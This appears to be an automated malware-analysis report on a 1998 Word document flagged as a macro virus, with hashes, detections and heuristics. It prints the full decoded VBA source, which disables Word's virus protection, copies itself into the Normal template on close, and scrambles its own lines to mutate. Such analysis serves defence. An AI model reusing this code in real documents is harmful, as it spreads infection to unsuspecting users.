Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96299d9b33b81c7d…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-11-24 19:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e145cf2f6bd7823d1357538ce72699d7 SHA-1: 44a2863a62fb8940852cafc3d9f92d1340a4f498 SHA-256: 96299d9b33b81c7d4ae667492a4bda43d540616641a57929c8d433f2aac95a3b
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a VBA macro that triggers on document close (AutoClose). The macro attempts to obfuscate and inject code into the Normal template, a common technique for establishing persistence or downloading additional malware. The presence of legacy WordBasic markers and the AutoClose macro strongly suggest a malicious intent to execute arbitrary code.

Heuristics 4

  • ClamAV: Doc.Trojan.CPCK-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6814 bytes
SHA-256: a6652ecfea151ff737a4e6fb3f19ef92557cd979af4a430353893eb15cacdb2c
Detection
ClamAV: Doc.Trojan.Class-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Close()

On Error Resume Next

Options.SaveNormalPrompt = 0

Options.VirusProtection = 0

Options.ConfirmConversions = 0

JF2 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

Application.EnableCancelKey = 0

HU49 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then

Set AD36 = ActiveDocument.VBProject.VBComponents.Item(1)

GU78 = True

End If

If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then

Set AD36 = NormalTemplate.VBProject.VBComponents.Item(1)

UV8 = True

End If

If UV8 <> True And GU78 <> True Then GoTo SK26

If UV8 = True Then AD36.CodeModule.AddFromString ("Sub AutoClose()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, JF2 - 1))

If GU78 = True Then AD36.CodeModule.AddFromString ("Sub Document_Close()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, HU49 - 1))

With AD36.CodeModule

For x = 2 To (AD36.CodeModule.CountOfLines - 1) Step 2

For y = 1 To (Int(Rnd * 10) + 2)

UP45 = UP45 + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & " + "

Next y

.replaceline x, (Chr(65 + Int(Rnd * 22))) & " = " & UP45 & (Chr(65 + Int(Rnd * 22)))

UP45 = ""

Next x

End With

SK26:

End Sub

' Processing file: /opt/analyzer/scan_staging/18a0935ec8f4488db35ccd82e6e6d0ee.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3308 bytes
' Line #0:
' 	FuncDefn (Sub Document_Close())
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' Line #4:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #5:
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St JF2 
' Line #11:
' Line #12:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #13:
' Line #14:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St HU49 
' Line #15:
' Line #16:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #17:
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set AD36 
' Line #19:
' Line #20:
' 	LitVarSpecial (True)
' 	St GU78 
' Line #21:
' Line #22:
' 	EndIfBlock 
' Line #23:
' Line #24:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #25:
' Line #26:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set AD36 
' Line #27:
' Line #28:
' 	LitVarSpecial (True)
' 	St UV8 
' Line #29:
' Line #30:
' 	EndIfBlock 
' Line #31:
' Line #32:
' 	Ld UV8 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld GU78 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo SK26 
' 	EndIf 
' Line #33:
' Line #34:
' 	Ld UV8 
... (truncated)